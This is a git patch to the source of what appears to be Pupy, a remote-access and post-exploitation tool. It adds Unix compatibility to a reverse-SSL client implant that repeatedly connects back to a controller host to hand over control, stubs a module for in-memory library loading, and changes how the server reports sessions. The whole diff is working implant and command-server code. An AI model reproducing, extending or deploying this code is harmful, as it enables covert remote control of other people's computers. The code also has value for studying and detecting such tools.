From 8850046144ff30ecaa6f849cdbf6de6bf5b9f911 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Tue, 22 Sep 2015 23:21:55 +0200 Subject: [PATCH] merge+unix compatibility --- client/reverse_ssl.py | 16 ++++++++++++++-- pupy/packages/all/pupyimporter.py | 3 ++- pupy/pupylib/PupyServer.py | 18 ++++++++++++------ 3 files changed, 28 insertions(+), 9 deletions(-) diff --git a/client/reverse_ssl.py b/client/reverse_ssl.py index 9a6cb4a5..b575e592 100644 --- a/client/reverse_ssl.py +++ b/client/reverse_ssl.py @@ -22,6 +22,7 @@ import platform import re import ssl import random +import imp class ReverseSlaveService(Service): @@ -68,9 +69,19 @@ def get_next_wait(attempt): else: return random.randint(15,30) +def add_pseudo_pupy_module(HOST): + if not "pupy" in sys.modules: + mod = imp.new_module("pupyimporter") + mod.__name__="pupy" + mod.__file__="\\\\pupyimporter" + mod.__package__="pupy" + sys.modules["pupy"]=mod + mod.get_connect_back_host=(lambda : HOST) + mod.pseudo=True + def main(): HOST="127.0.0.1:443" - if "win" in platform.system().lower(): + if "windows" in platform.system().lower(): try: import pupy HOST=pupy.get_connect_back_host() @@ -79,6 +90,8 @@ def main(): if len(sys.argv)!=2: exit("usage: %s host:port"%sys.argv[0]) HOST=sys.argv[1] + else: + add_pseudo_pupy_module(HOST) attempt=0 while True: try: @@ -89,7 +102,6 @@ def main(): rport=int(tab[1]) else: rport=443 - print "connecting to %s:%s"%(rhost,rport) conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService) while True: diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py index 265ecf53..4f6340af 100644 --- a/pupy/packages/all/pupyimporter.py +++ b/pupy/packages/all/pupyimporter.py @@ -26,7 +26,8 @@ except ImportError: modules={} try: import pupy - modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string())) + if not (hasattr(pupy, 'pseudo') and pupy.pseudo): + modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string())) except ImportError: #modules = marshal.loads(zlib.decompress(open("resources\\library_compressed_string.txt",'rb').read())) pass diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index cc076f62..e7531b17 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -48,6 +48,11 @@ class PupyServer(threading.Thread): self.config.read(configFile) self.port=self.config.getint("pupyd","port") self.address=self.config.get("pupyd","address") + self.handler=None + + def register_handler(self, instance): + """ register the handler instance, typically a PupyCmd, and PupyWeb in the futur""" + self.handler=instance def add_client(self, conn): with self.clients_lock: @@ -130,11 +135,11 @@ class PupyServer(threading.Thread): "address" : conn._conn._config['connid'].split(':')[0], }, self)) - addr = conn.modules['pupy'].get_connect_back_host() - server_ip, server_port = addr.rsplit(':', 1) - client_ip, client_port = conn._conn._config['connid'].split(':') - - print color_real('[*]', 'blue'), "Session {} opened ({}:{} -> {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port) + if self.handler: + addr = conn.modules['pupy'].get_connect_back_host() + server_ip, server_port = addr.rsplit(':', 1) + client_ip, client_port = conn._conn._config['connid'].split(':') + self.handler.display_srvinfo("Session {} opened ({}:{} <- {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)) self.current_id += 1 @@ -142,7 +147,8 @@ class PupyServer(threading.Thread): with self.clients_lock: for i,c in enumerate(self.clients): if c.conn is client: - print color_real('[*]', 'blue'), 'Session {} closed'.format(self.clients[i].desc['id']) + if self.handler: + self.handler.display_srvinfo('Session {} closed'.format(self.clients[i].desc['id'])) del self.clients[i] break